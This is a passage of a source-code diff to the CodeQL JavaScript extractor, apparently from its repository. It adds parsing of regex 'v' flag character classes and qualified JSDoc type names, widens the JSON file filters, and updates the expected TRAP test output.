+++ b/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassQuotedString.java
@@ -0,0 +1,28 @@
+package com.semmle.js.ast.regexp;
+
+import com.semmle.js.ast.SourceLocation;
+
+/**
+ * A quoted string escape sequence '\q{}' in a regular expression.
+ * This feature is a non-standard extension that requires the 'v' flag.
+ * 
+ * Example: [\q{abc|def}] creates a character class that matches either the string
+ * "abc" or "def". Within the quoted string, only the alternation operator '|' is supported.
+ */
+public class CharacterClassQuotedString extends RegExpTerm {
+  private final RegExpTerm term;
+
+  public CharacterClassQuotedString(SourceLocation loc, RegExpTerm term) {
+    super(loc, "CharacterClassQuotedString");
+    this.term = term;
+  }
+
+  public RegExpTerm getTerm() {
+    return term;
+  }
+  
+  @Override
+  public void accept(Visitor v) {
+    v.visit(this);
+  }
+}
diff --git a/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassSubtraction.java b/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassSubtraction.java
new file mode 100644
index 000000000000..07f37f6bb1da
--- /dev/null
+++ b/javascript/extractor/src/com/semmle/js/ast/regexp/CharacterClassSubtraction.java
@@ -0,0 +1,26 @@
+package com.semmle.js.ast.regexp;
+
+import com.semmle.js.ast.SourceLocation;
+import java.util.List;
+
+/**
+ * A character class subtraction in a regular expression available only with the `v` flag.
+ * Example: [[abc]--[a]--[b]] matches character `c` only.
+ */
+public class CharacterClassSubtraction extends RegExpTerm {
+    private final List<RegExpTerm> elements;
+
+    public CharacterClassSubtraction(SourceLocation loc, List<RegExpTerm> elements) {
+        super(loc, "CharacterClassSubtraction");
+        this.elements = elements;
+    }
+
+    @Override
+    public void accept(Visitor v) {
+        v.visit(this);
+    }
+
+    public List<RegExpTerm> getElements() {
+        return elements;
+    }
+}
diff --git a/javascript/extractor/src/com/semmle/js/ast/regexp/Visitor.java b/javascript/extractor/src/com/semmle/js/ast/regexp/Visitor.java
index 3671a55694be..373cb727c5a6 100644
--- a/javascript/extractor/src/com/semmle/js/ast/regexp/Visitor.java
+++ b/javascript/extractor/src/com/semmle/js/ast/regexp/Visitor.java
@@ -61,4 +61,10 @@ public interface Visitor {
   public void visit(ZeroWidthNegativeLookbehind nd);
 
   public void visit(UnicodePropertyEscape nd);
+
+  public void visit(CharacterClassQuotedString nd);
+
+  public void visit(CharacterClassIntersection nd);
+
+  public void visit(CharacterClassSubtraction nd);
 }
diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java
index 0dc00f79ab03..5625a9f1211c 100644
--- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java
+++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java
@@ -600,7 +600,7 @@ public Label visit(Literal nd, Context c) {
         SourceMap sourceMap =
             SourceMap.legacyWithStartPos(
                 SourceMap.fromString(nd.getRaw()).offsetBy(0, offsets), startPos);
-        regexpExtractor.extract(source.substring(1, source.lastIndexOf('/')), sourceMap, nd, false);
+        regexpExtractor.extract(source.substring(1, source.lastIndexOf('/')), sourceMap, nd, false, source.substring(source.lastIndexOf('/'), source.length()));
       } else if (nd.isStringLiteral()
           && !c.isInsideType()
           && nd.getRaw().length() < 1000
diff --git a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java
index 0d5fa5619109..49b22ddcd2d4 100644
--- a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java
+++ b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java
@@ -160,6 +160,9 @@
  *       is of the form "codeql-javascript-*.json".
  *   <li>JavaScript, JSON or YAML files whose base name starts with ".eslintrc".
  *   <li>JSON files whose base name is ".xsaccess".
+ *   <li>JSON files whose base name is "xs-app.json".
+ *   <li>JSON files whose base name ends with ".view.json".
+ *   <li>JSON files whose base name is "manifest.json".
  *   <li>All extension-less files.
  * </ul>
  *
@@ -394,10 +397,12 @@ private void setupFilters() {
     for (FileType filetype : defaultExtract)
       for (String extension : filetype.getExtensions()) patterns.add("**/*" + extension);
 
-    // include .eslintrc files, .xsaccess files, package.json files,
-    // tsconfig.json files, and codeql-javascript-*.json files
+    // include JSON files which are relevant to our analysis
     patterns.add("**/.eslintrc*");
-    patterns.add("**/.xsaccess");
+    patterns.add("**/.xsaccess"); // SAP XSJS
+    patterns.add("**/xs-app.json"); // SAP XSJS
+    patterns.add("**/*.view.json"); // SAP UI5
+    patterns.add("**/manifest.json");
     patterns.add("**/package.json");
     patterns.add("**/tsconfig*.json");
     patterns.add("**/codeql-javascript-*.json");
diff --git a/javascript/extractor/src/com/semmle/js/extractor/JSDocExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/JSDocExtractor.java
index 86d1e1f6f79d..2e951414733b 100644
--- a/javascript/extractor/src/com/semmle/js/extractor/JSDocExtractor.java
+++ b/javascript/extractor/src/com/semmle/js/extractor/JSDocExtractor.java
@@ -9,13 +9,14 @@
 import com.semmle.js.ast.jsdoc.JSDocElement;
 import com.semmle.js.ast.jsdoc.JSDocTag;
 import com.semmle.js.ast.jsdoc.JSDocTypeExpression;
-import com.semmle.js.ast.jsdoc.NameExpression;
+import com.semmle.js.ast.jsdoc.Identifier;
 import com.semmle.js.ast.jsdoc.NonNullableType;
 import com.semmle.js.ast.jsdoc.NullLiteral;
 import com.semmle.js.ast.jsdoc.NullableLiteral;
 import com.semmle.js.ast.jsdoc.NullableType;
 import com.semmle.js.ast.jsdoc.OptionalType;
 import com.semmle.js.ast.jsdoc.ParameterType;
+import com.semmle.js.ast.jsdoc.QualifiedNameExpression;
 import com.semmle.js.ast.jsdoc.RecordType;
 import com.semmle.js.ast.jsdoc.RestType;
 import com.semmle.js.ast.jsdoc.TypeApplication;
@@ -42,7 +43,7 @@ public class JSDocExtractor {
     jsdocTypeExprKinds.put("UndefinedLiteral", 2);
     jsdocTypeExprKinds.put("NullableLiteral", 3);
     jsdocTypeExprKinds.put("VoidLiteral", 4);
-    jsdocTypeExprKinds.put("NameExpression", 5);
+    jsdocTypeExprKinds.put("Identifier", 5);
     jsdocTypeExprKinds.put("TypeApplication", 6);
     jsdocTypeExprKinds.put("NullableType", 7);
     jsdocTypeExprKinds.put("NonNullableType", 8);
@@ -52,6 +53,7 @@ public class JSDocExtractor {
     jsdocTypeExprKinds.put("FunctionType", 12);
     jsdocTypeExprKinds.put("OptionalType", 13);
     jsdocTypeExprKinds.put("RestType", 14);
+    jsdocTypeExprKinds.put("QualifiedNameExpression", 15);
   }
 
   private final TrapWriter trapwriter;
@@ -122,10 +124,17 @@ public void visit(RecordType nd) {
     }
 
     @Override
-    public void visit(NameExpression nd) {
+    public void visit(Identifier nd) {
       visit((JSDocTypeExpression) nd);
     }
 
+    @Override
+    public void visit(QualifiedNameExpression nd) {
+      Label label = visit((JSDocTypeExpression) nd);
+      visit(nd.getBase(), label, 0);
+      visit(nd.getNameNode(), label, 1);
+    }
+
     @Override
     public void visit(NullableLiteral nd) {
       visit((JSDocTypeExpression) nd);
diff --git a/javascript/extractor/src/com/semmle/js/extractor/Main.java b/javascript/extractor/src/com/semmle/js/extractor/Main.java
index 56e4e42dc543..0b92711b01da 100644
--- a/javascript/extractor/src/com/semmle/js/extractor/Main.java
+++ b/javascript/extractor/src/com/semmle/js/extractor/Main.java
@@ -42,7 +42,7 @@ public class Main {
    * A version identifier that should be updated every time the extractor changes in such a way that
    * it may produce different tuples for the same file under the same {@link ExtractorConfig}.
    */
-  public static final String EXTRACTOR_VERSION = "2025-02-03";
+  public static final String EXTRACTOR_VERSION = "2025-03-20";
 
   public static final Pattern NEWLINE = Pattern.compile("\n");
 
diff --git a/javascript/extractor/src/com/semmle/js/extractor/RegExpExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/RegExpExtractor.java
index 41d7d446cfe3..0731f8a7c0f5 100644
--- a/javascript/extractor/src/com/semmle/js/extractor/RegExpExtractor.java
+++ b/javascript/extractor/src/com/semmle/js/extractor/RegExpExtractor.java
@@ -10,7 +10,9 @@
 import com.semmle.js.ast.regexp.Caret;
 import com.semmle.js.ast.regexp.CharacterClass;
 import com.semmle.js.ast.regexp.CharacterClassEscape;
+import com.semmle.js.ast.regexp.CharacterClassQuotedString;
 import com.semmle.js.ast.regexp.CharacterClassRange;
+import com.semmle.js.ast.regexp.CharacterClassSubtraction;
 import com.semmle.js.ast.regexp.Constant;
 import com.semmle.js.ast.regexp.ControlEscape;
 import com.semmle.js.ast.regexp.ControlLetter;
@@ -22,6 +24,7 @@
 import com.semmle.js.ast.regexp.Group;
 import com.semmle.js.ast.regexp.HexEscapeSequence;
 import com.semmle.js.ast.regexp.IdentityEscape;
+import com.semmle.js.ast.regexp.CharacterClassIntersection;
 import com.semmle.js.ast.regexp.Literal;
 import com.semmle.js.ast.regexp.NamedBackReference;
 import com.semmle.js.ast.regexp.NonWordBoundary;
@@ -92,6 +95,9 @@ public RegExpExtractor(TrapWriter trapwriter, LocationManager locationManager) {
     termkinds.put("ZeroWidthPositiveLookbehind", 25);
     termkinds.put("ZeroWidthNegativeLookbehind", 26);
     termkinds.put("UnicodePropertyEscape", 27);
+    termkinds.put("CharacterClassQuotedString", 28);
+    termkinds.put("CharacterClassIntersection", 29);
+    termkinds.put("CharacterClassSubtraction", 30);
   }
 
   private static final String[] errmsgs =
@@ -344,10 +350,32 @@ public void visit(CharacterClassRange nd) {
       visit(nd.getLeft(), lbl, 0);
       visit(nd.getRight(), lbl, 1);
     }
+
+    @Override
+    public void visit(CharacterClassQuotedString nd) {
+      Label lbl = extractTerm(nd, parent, idx);
+      visit(nd.getTerm(), lbl, 0);
+    }
+
+    @Override
+    public void visit(CharacterClassIntersection nd) {
+      Label lbl = extractTerm(nd, parent, idx);
+      int i = 0;
+      for (RegExpTerm element : nd.getElements())
+        visit(element, lbl, i++);
+    }
+
+    @Override
+    public void visit(CharacterClassSubtraction nd) {
+      Label lbl = extractTerm(nd, parent, idx);
+      int i = 0;
+      for (RegExpTerm element : nd.getElements())
+        visit(element, lbl, i++);
+    }
   }
 
-  public void extract(String src, SourceMap sourceMap, Node parent, boolean isSpeculativeParsing) {
-    Result res = parser.parse(src);
+  public void extract(String src, SourceMap sourceMap, Node parent, boolean isSpeculativeParsing, String flags) {
+    Result res = parser.parse(src, flags);
     if (isSpeculativeParsing && res.getErrors().size() > 0) {
       return;
     }
@@ -364,4 +392,8 @@ public void extract(String src, SourceMap sourceMap, Node parent, boolean isSpec
       this.emitLocation(err, lbl);
     }
   }
+
+    public void extract(String src, SourceMap sourceMap, Node parent, boolean isSpeculativeParsing) {
+      extract(src, sourceMap, parent, isSpeculativeParsing, "");
+    }
 }
diff --git a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java
index 391f703d2b07..f1b13565191e 100644
--- a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java
+++ b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java
@@ -10,13 +10,14 @@
 import com.semmle.js.ast.jsdoc.JSDocComment;
 import com.semmle.js.ast.jsdoc.JSDocTag;
 import com.semmle.js.ast.jsdoc.JSDocTypeExpression;
-import com.semmle.js.ast.jsdoc.NameExpression;
+import com.semmle.js.ast.jsdoc.Identifier;
 import com.semmle.js.ast.jsdoc.NonNullableType;
 import com.semmle.js.ast.jsdoc.NullLiteral;
 import com.semmle.js.ast.jsdoc.NullableLiteral;
 import com.semmle.js.ast.jsdoc.NullableType;
 import com.semmle.js.ast.jsdoc.OptionalType;
 import com.semmle.js.ast.jsdoc.ParameterType;
+import com.semmle.js.ast.jsdoc.QualifiedNameExpression;
 import com.semmle.js.ast.jsdoc.RecordType;
 import com.semmle.js.ast.jsdoc.RestType;
 import com.semmle.js.ast.jsdoc.TypeApplication;
@@ -70,30 +71,6 @@ public JSDocComment parse(Comment comment) {
     return new JSDocComment(comment, r.fst(), tags);
   }
 
-  /** Specification of Doctrine AST types for JSDoc type expressions. */
-  private static final Map<Class<? extends JSDocTypeExpression>, List<String>> spec =
-      new LinkedHashMap<Class<? extends JSDocTypeExpression>, List<String>>();
-
-  static {
-    spec.put(AllLiteral.class, Arrays.<String>asList());
-    spec.put(ArrayType.class, Arrays.asList("elements"));
-    spec.put(FieldType.class, Arrays.asList("key", "value"));
-    spec.put(FunctionType.class, Arrays.asList("this", "new", "params", "result"));
-    spec.put(NameExpression.class, Arrays.asList("name"));
-    spec.put(NonNullableType.class, Arrays.asList("expression", "prefix"));
-    spec.put(NullableLiteral.class, Arrays.<String>asList());
-    spec.put(NullLiteral.class, Arrays.<String>asList());
-    spec.put(NullableType.class, Arrays.asList("expression", "prefix"));
-    spec.put(OptionalType.class, Arrays.asList("expression"));
-    spec.put(ParameterType.class, Arrays.asList("name", "expression"));
-    spec.put(RecordType.class, Arrays.asList("fields"));
-    spec.put(RestType.class, Arrays.asList("expression"));
-    spec.put(TypeApplication.class, Arrays.asList("expression", "applications"));
-    spec.put(UndefinedLiteral.class, Arrays.<String>asList());
-    spec.put(UnionType.class, Arrays.asList("elements"));
-    spec.put(VoidLiteral.class, Arrays.<String>asList());
-  }
-
   private static String sliceSource(String source, int index, int last) {
     if (index >= source.length()) return "";
     if (last > source.length()) last = source.length();
@@ -137,7 +114,7 @@ private static boolean isIdentifierPart(char ch) {
   }
 
   private static boolean isTypeName(char ch) {
-    return "><(){}[],:*|?!=".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch);
+    return "><(){}[],:*|?!=.".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch);
   }
 
   private static boolean isParamTitle(String title) {
@@ -559,21 +536,12 @@ private Token scanNumber() throws ParseError {
     }
 
     private Token scanTypeName() {
-      char ch, ch2;
-
-      value = new String(Character.toChars(advance()));
+      StringBuilder sb = new StringBuilder();
+      sb.append((char)advance());
       while (index < endIndex && isTypeName(source.charAt(index))) {
-        ch = source.charAt(index);
-        if (ch == '.') {
-          if ((index + 1) < endIndex) {
-            ch2 = source.charAt(index + 1);
-            if (ch2 == '<') {
-              break;
-            }
-          }
-        }
-        value += new String(Character.toChars(advance()));
+        sb.append((char)advance());
       }
+      value = sb.toString();
       return Token.NAME;
     }
 
@@ -848,11 +816,24 @@ private JSDocTypeExpression parseRecordType() throws ParseError {
       return finishNode(new RecordType(loc, fields));
     }
 
-    private JSDocTypeExpression parseNameExpression() throws ParseError {
-      Object name = value;
+    private Identifier parseIdentifier() throws ParseError {
       SourceLocation loc = loc();
+      Object value = this.value; // save the value of the current token
       expect(Token.NAME);
-      return finishNode(new NameExpression(loc, name.toString()));
+      return finishNode(new Identifier(loc, value.toString()));
+    }
+
+    private JSDocTypeExpression parseNameExpression() throws ParseError {
+      JSDocTypeExpression node = parseIdentifier();
+      while (token == Token.DOT) {
+        consume(Token.DOT);
+        Identifier memberName = parseIdentifier();
+        // Create a SourceLocation object with the correct start location.
+        // The call to finishNode() will set the end location.
+        SourceLocation loc = new SourceLocation(node.getLoc());
+        node = finishNode(new QualifiedNameExpression(loc, node, memberName));
+      }
+      return node;
     }
 
     // TypeExpressionList :=
@@ -945,14 +926,14 @@ private List<JSDocTypeExpression> parseParametersType() throws ParseError {
 
         SourceLocation loc = loc();
         expr = parseTypeExpression();
-        if (expr instanceof NameExpression && token == Token.COLON) {
+        if (expr instanceof Identifier && token == Token.COLON) {
           // Identifier ':' TypeExpression
           consume(Token.COLON);
           expr =
               finishNode(
                   new ParameterType(
                       new SourceLocation(loc),
-                      ((NameExpression) expr).getName(),
+                      ((Identifier) expr).getName(),
                       parseTypeExpression()));
         }
         if (token == Token.EQUAL) {
@@ -1128,7 +1109,7 @@ private JSDocTypeExpression parseTypeExpression() throws ParseError {
         consume(Token.RBRACK, "expected an array-style type declaration (' + value + '[])");
         List<JSDocTypeExpression> expressions = new ArrayList<>();
         expressions.add(expr);
-        NameExpression nameExpr = finishNode(new NameExpression(new SourceLocation(loc), "Array"));
+        Identifier nameExpr = finishNode(new Identifier(new SourceLocation(loc), "Array"));
         return finishNode(new TypeApplication(loc, nameExpr, expressions));
       }
 
@@ -1549,9 +1530,9 @@ public boolean parseName() {
             // fixed at the end
             if (isParamTitle(this._title)
                 && this._tag.type != null
-                && this._tag.type instanceof NameExpression) {
-              this._extra_name = ((NameExpression) this._tag.type).getName();
-              this._tag.name = ((NameExpression) this._tag.type).getName();
+                && this._tag.type instanceof Identifier) {
+              this._extra_name = ((Identifier) this._tag.type).getName();
+              this._tag.name = ((Identifier) this._tag.type).getName();
               this._tag.type = null;
             } else {
               if (!this.addError("Missing or invalid tag name")) {
@@ -1667,7 +1648,7 @@ private boolean epilogue() {
             Position start = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn);
             Position end = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn);
             SourceLocation loc = new SourceLocation(_extra_name, start, end);
-            this._tag.type = new NameExpression(loc, _extra_name);
+            this._tag.type = new Identifier(loc, _extra_name);
           }
           this._tag.name = null;
 
diff --git a/javascript/extractor/src/com/semmle/js/parser/RegExpParser.java b/javascript/extractor/src/com/semmle/js/parser/RegExpParser.java
index 5b2177f3fffa..9a489268b18c 100644
--- a/javascript/extractor/src/com/semmle/js/parser/RegExpParser.java
+++ b/javascript/extractor/src/com/semmle/js/parser/RegExpParser.java
@@ -6,7 +6,9 @@
 import com.semmle.js.ast.regexp.Caret;
 import com.semmle.js.ast.regexp.CharacterClass;
 import com.semmle.js.ast.regexp.CharacterClassEscape;
+import com.semmle.js.ast.regexp.CharacterClassQuotedString;
 import com.semmle.js.ast.regexp.CharacterClassRange;
+import com.semmle.js.ast.regexp.CharacterClassSubtraction;
 import com.semmle.js.ast.regexp.Constant;
 import com.semmle.js.ast.regexp.ControlEscape;
 import com.semmle.js.ast.regexp.ControlLetter;
@@ -18,6 +20,7 @@
 import com.semmle.js.ast.regexp.Group;
 import com.semmle.js.ast.regexp.HexEscapeSequence;
 import com.semmle.js.ast.regexp.IdentityEscape;
+import com.semmle.js.ast.regexp.CharacterClassIntersection;
 import com.semmle.js.ast.regexp.NamedBackReference;
 import com.semmle.js.ast.regexp.NonWordBoundary;
 import com.semmle.js.ast.regexp.OctalEscape;
@@ -36,6 +39,7 @@
 import com.semmle.js.ast.regexp.ZeroWidthPositiveLookbehind;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 
 /** A parser for ECMAScript 2018 regular expressions. */
@@ -67,6 +71,8 @@ public List<Error> getErrors() {
   private List<Error> errors;
   private List<BackReference> backrefs;
   private int maxbackref;
+  private boolean vFlagEnabled = false;
+  private boolean uFlagEnabled = false;
 
   /** Parse the given string as a regular expression. */
   public Result parse(String src) {
@@ -82,6 +88,12 @@ public Result parse(String src) {
     return new Result(root, errors);
   }
 
+  public Result parse(String src, String flags) {
+    vFlagEnabled = flags != null && flags.contains("v");
+    uFlagEnabled = flags != null && flags.contains("u");
+    return parse(src);
+  }
+
   private static String fromCodePoint(int codepoint) {
     if (Character.isValidCodePoint(codepoint)) return new String(Character.toChars(codepoint));
     // replacement character
@@ -277,6 +289,43 @@ private RegExpTerm parseTerm() {
     return this.finishTerm(this.parseQuantifierOpt(loc, this.parseAtom()));
   }
 
+  private RegExpTerm parseDisjunctionInsideQuotedString() {
+    SourceLocation loc = new SourceLocation(pos());
+    List<RegExpTerm> disjuncts = new ArrayList<>();
+    disjuncts.add(this.parseAlternativeInsideQuotedString());
+    while (this.match("|")) {
+        disjuncts.add(this.parseAlternativeInsideQuotedString());
+    }
+    if (disjuncts.size() == 1) return disjuncts.get(0);
+    return this.finishTerm(new Disjunction(loc, disjuncts));
+  }
+
+  private RegExpTerm parseAlternativeInsideQuotedString() {
+    SourceLocation loc = new SourceLocation(pos());
+    int startPos = this.pos;
+    boolean escaped = false;
+    while (true) {
+      // If we're at the end of the string, something went wrong.
+      if (this.atEOS()) {
+        this.error(Error.UNEXPECTED_EOS);
+        break;
+      }
+      // We can end parsing if we're not escaped and we see a `|` which would mean Alternation
+      // or `}` which would mean the end of the Quoted String.
+      if(!escaped && this.lookahead(null, "|", "}")){
+        break;
+      }
+      char c = this.nextChar();
+      // Track whether the character is an escape character. 
+      escaped = !escaped && (c == '\\');
+    }
+    String literal = src.substring(startPos, pos);
+    loc.setEnd(pos());
+    loc.setSource(literal);
+
+    return new Constant(loc, literal);
+  }
+
   private RegExpTerm parseQuantifierOpt(SourceLocation loc, RegExpTerm atom) {
     if (this.match("*")) return this.finishTerm(new Star(loc, atom, !this.match("?")));
     if (this.match("+")) return this.finishTerm(new Plus(loc, atom, !this.match("?")));
@@ -421,7 +470,13 @@ private RegExpTerm parseAtomEscape(SourceLocation loc, boolean inCharClass) {
       return this.finishTerm(new NamedBackReference(loc, name, "\\k<" + name + ">"));
     }
 
-    if (this.match("p{", "P{")) {
+    if (vFlagEnabled && this.match("q{")) {
+      RegExpTerm term = parseDisjunctionInsideQuotedString();
+      this.expectRBrace();
+      return this.finishTerm(new CharacterClassQuotedString(loc, term));
+    }
+
+    if ((vFlagEnabled || uFlagEnabled) && this.match("p{", "P{")) {
       String name = this.readIdentifier();
       if (this.match("=")) {
         value = this.readIdentifier();
@@ -493,6 +548,7 @@ private RegExpTerm parseAtomEscape(SourceLocation loc, boolean inCharClass) {
   }
 
   private RegExpTerm parseCharacterClass() {
+    if (vFlagEnabled) return parseNestedCharacterClass();
     SourceLocation loc = new SourceLocation(pos());
     List<RegExpTerm> elements = new ArrayList<>();
 
@@ -508,6 +564,43 @@ private RegExpTerm parseCharacterClass() {
     return this.finishTerm(new CharacterClass(loc, elements, inverted));
   }
 
+  private enum CharacterClassType {
+    STANDARD,
+    INTERSECTION,
+    SUBTRACTION
+  }
+
+  // ECMA 2024 `v` flag allows nested character classes.
+  private RegExpTerm parseNestedCharacterClass() {
+    SourceLocation loc = new SourceLocation(pos());
+    List<RegExpTerm> elements = new ArrayList<>();
+    CharacterClassType classType = CharacterClassType.STANDARD;
+
+    this.match("[");
+    boolean inverted = this.match("^");
+    while (!this.match("]")) {
+      if (this.atEOS()) {
+        this.error(Error.EXPECTED_RBRACKET);
+        break;
+      }
+      if (lookahead("[")) elements.add(parseNestedCharacterClass());
+      else if (this.match("&&")) classType = CharacterClassType.INTERSECTION;
+      else if (this.match("--")) classType = CharacterClassType.SUBTRACTION;
+      else elements.add(this.parseCharacterClassElement());
+    }
+
+    // Create appropriate RegExpTerm based on the detected class type
+    switch (classType) {
+      case INTERSECTION:
+        return this.finishTerm(new CharacterClass(loc, Collections.singletonList(new CharacterClassIntersection(loc, elements)), inverted));
+      case SUBTRACTION:
+        return this.finishTerm(new CharacterClass(loc, Collections.singletonList(new CharacterClassSubtraction(loc, elements)), inverted));
+      case STANDARD:
+      default:
+        return this.finishTerm(new CharacterClass(loc, elements, inverted));
+    }
+  }
+
   private static final List<String> escapeClasses = Arrays.asList("d", "D", "s", "S", "w", "W");
 
   private RegExpTerm parseCharacterClassElement() {
@@ -519,7 +612,7 @@ private RegExpTerm parseCharacterClassElement() {
           return atom;
       }
     }
-    if (!this.lookahead("-]") && this.match("-") && !(atom instanceof CharacterClassEscape))
+    if (!this.lookahead("-]") && !this.lookahead("--") && this.match("-") && !(atom instanceof CharacterClassEscape))
       return this.finishTerm(new CharacterClassRange(loc, atom, this.parseCharacterClassAtom()));
     return atom;
   }
diff --git a/javascript/extractor/src/com/semmle/ts/ast/ITypeExpression.java b/javascript/extractor/src/com/semmle/ts/ast/ITypeExpression.java
index 71185a7f92c5..4372eba125f8 100644
--- a/javascript/extractor/src/com/semmle/ts/ast/ITypeExpression.java
+++ b/javascript/extractor/src/com/semmle/ts/ast/ITypeExpression.java
@@ -10,4 +10,6 @@
  * however, some expressions such as {@link Literal} type may occur in a type annotation because the
  * TypeScript AST does not distinguish <code>null</code> literals from the <code>null</code> type.
  */
-public interface ITypeExpression extends INode, ITypedAstNode {}
+public interface ITypeExpression extends INode, ITypedAstNode {
+    public default boolean isValidTypeExpression() { return true; }
+}
diff --git a/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java b/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java
index dfc15e4e4aa1..a3e031845a2a 100644
--- a/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java
+++ b/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java
@@ -1907,7 +1907,7 @@ private Node convertOptionalType(JsonObject node, SourceLocation loc) throws Par
   }
 
   private ITypeExpression asType(Node node) {
-    return node instanceof ITypeExpression ? (ITypeExpression) node : null;
+    return node instanceof ITypeExpression && ((ITypeExpression)node).isValidTypeExpression() ? (ITypeExpression) node : null;
   }
 
   private List<ITypeExpression> convertChildrenAsTypes(JsonObject node, String child)
diff --git a/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap b/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap
index 736a6b2d19ff..910c567993f3 100644
--- a/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap
+++ b/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap
@@ -517,150 +517,170 @@ jsdoc_type_exprs(#20157,4,#20145,-1,"void")
 locations_default(#20158,#10000,11,60,11,63)
 hasLocation(#20157,#20158)
 #20159=*
-jsdoc_type_exprs(#20159,5,#20145,-2,"goog.ui.Menu")
+jsdoc_type_exprs(#20159,15,#20145,-2,"goog.ui.Menu")
 #20160=@"loc,{#10000},11,26,11,37"
 locations_default(#20160,#10000,11,26,11,37)
 hasLocation(#20159,#20160)
-jsdoc_has_new_parameter(#20145)
 #20161=*
-jsdoc_tags(#20161,"param",#20117,4,"@param")
-#20162=@"loc,{#10000},12,5,12,10"
-locations_default(#20162,#10000,12,5,12,10)
+jsdoc_type_exprs(#20161,15,#20159,0,"goog.ui")
+#20162=@"loc,{#10000},11,26,11,32"
+locations_default(#20162,#10000,11,26,11,32)
 hasLocation(#20161,#20162)
-jsdoc_tag_names(#20161,"var_args")
 #20163=*
-jsdoc_type_exprs(#20163,14,#20161,0,"...number")
-#20164=@"loc,{#10000},12,13,12,21"
-locations_default(#20164,#10000,12,13,12,21)
+jsdoc_type_exprs(#20163,5,#20161,0,"goog")
+#20164=@"loc,{#10000},11,26,11,29"
+locations_default(#20164,#10000,11,26,11,29)
 hasLocation(#20163,#20164)
 #20165=*
-jsdoc_type_exprs(#20165,5,#20163,0,"number")
-#20166=@"loc,{#10000},12,16,12,21"
-locations_default(#20166,#10000,12,16,12,21)
+jsdoc_type_exprs(#20165,5,#20161,1,"ui")
+#20166=@"loc,{#10000},11,31,11,32"
+locations_default(#20166,#10000,11,31,11,32)
 hasLocation(#20165,#20166)
 #20167=*
-jsdoc(#20167,"",#20010)
-hasLocation(#20167,#20011)
-#20168=*
-jsdoc_tags(#20168,"param",#20167,0,"@param")
-#20169=@"loc,{#10000},15,4,15,9"
-locations_default(#20169,#10000,15,4,15,9)
-hasLocation(#20168,#20169)
-#20170=*
-jsdoc_errors(#20170,#20168,"Missing or invalid tag name","Missing ... ag name")
+jsdoc_type_exprs(#20167,5,#20159,1,"Menu")
+#20168=@"loc,{#10000},11,34,11,37"
+locations_default(#20168,#10000,11,34,11,37)
+hasLocation(#20167,#20168)
+jsdoc_has_new_parameter(#20145)
+#20169=*
+jsdoc_tags(#20169,"param",#20117,4,"@param")
+#20170=@"loc,{#10000},12,5,12,10"
+locations_default(#20170,#10000,12,5,12,10)
+hasLocation(#20169,#20170)
+jsdoc_tag_names(#20169,"var_args")
 #20171=*
-jsdoc_tags(#20171,"param",#20167,1,"@param")
-#20172=@"loc,{#10000},16,4,16,9"
-locations_default(#20172,#10000,16,4,16,9)
+jsdoc_type_exprs(#20171,14,#20169,0,"...number")
+#20172=@"loc,{#10000},12,13,12,21"
+locations_default(#20172,#10000,12,13,12,21)
 hasLocation(#20171,#20172)
-jsdoc_tag_names(#20171,"x")
 #20173=*
-jsdoc(#20173,"",#20012)
-hasLocation(#20173,#20013)
-#20174=*
-jsdoc_tags(#20174,"",#20173,0,"@")
-#20175=@"loc,{#10000},20,4,20,4"
-locations_default(#20175,#10000,20,4,20,4)
-hasLocation(#20174,#20175)
-jsdoc_tag_descriptions(#20174,"{link a}")
+jsdoc_type_exprs(#20173,5,#20171,0,"number")
+#20174=@"loc,{#10000},12,16,12,21"
+locations_default(#20174,#10000,12,16,12,21)
+hasLocation(#20173,#20174)
+#20175=*
+jsdoc(#20175,"",#20010)
+hasLocation(#20175,#20011)
 #20176=*
-jsdoc_errors(#20176,#20174,"Missing or invalid title","Missing ... d title")
-#20177=*
-jsdoc(#20177,"",#20014)
-hasLocation(#20177,#20015)
+jsdoc_tags(#20176,"param",#20175,0,"@param")
+#20177=@"loc,{#10000},15,4,15,9"
+locations_default(#20177,#10000,15,4,15,9)
+hasLocation(#20176,#20177)
 #20178=*
-jsdoc_tags(#20178,"typedef",#20177,0,"@typedef")
-#20179=@"loc,{#10000},24,4,24,11"
-locations_default(#20179,#10000,24,4,24,11)
-hasLocation(#20178,#20179)
-jsdoc_tag_descriptions(#20178,"{a}")
-#20180=*
-jsdoc_errors(#20180,#20178,"Missing or invalid tag type","Missing ... ag type")
+jsdoc_errors(#20178,#20176,"Missing or invalid tag name","Missing ... ag name")
+#20179=*
+jsdoc_tags(#20179,"param",#20175,1,"@param")
+#20180=@"loc,{#10000},16,4,16,9"
+locations_default(#20180,#10000,16,4,16,9)
+hasLocation(#20179,#20180)
+jsdoc_tag_names(#20179,"x")
 #20181=*
-jsdoc(#20181,"[resize description]",#20016)
-hasLocation(#20181,#20017)
+jsdoc(#20181,"",#20012)
+hasLocation(#20181,#20013)
 #20182=*
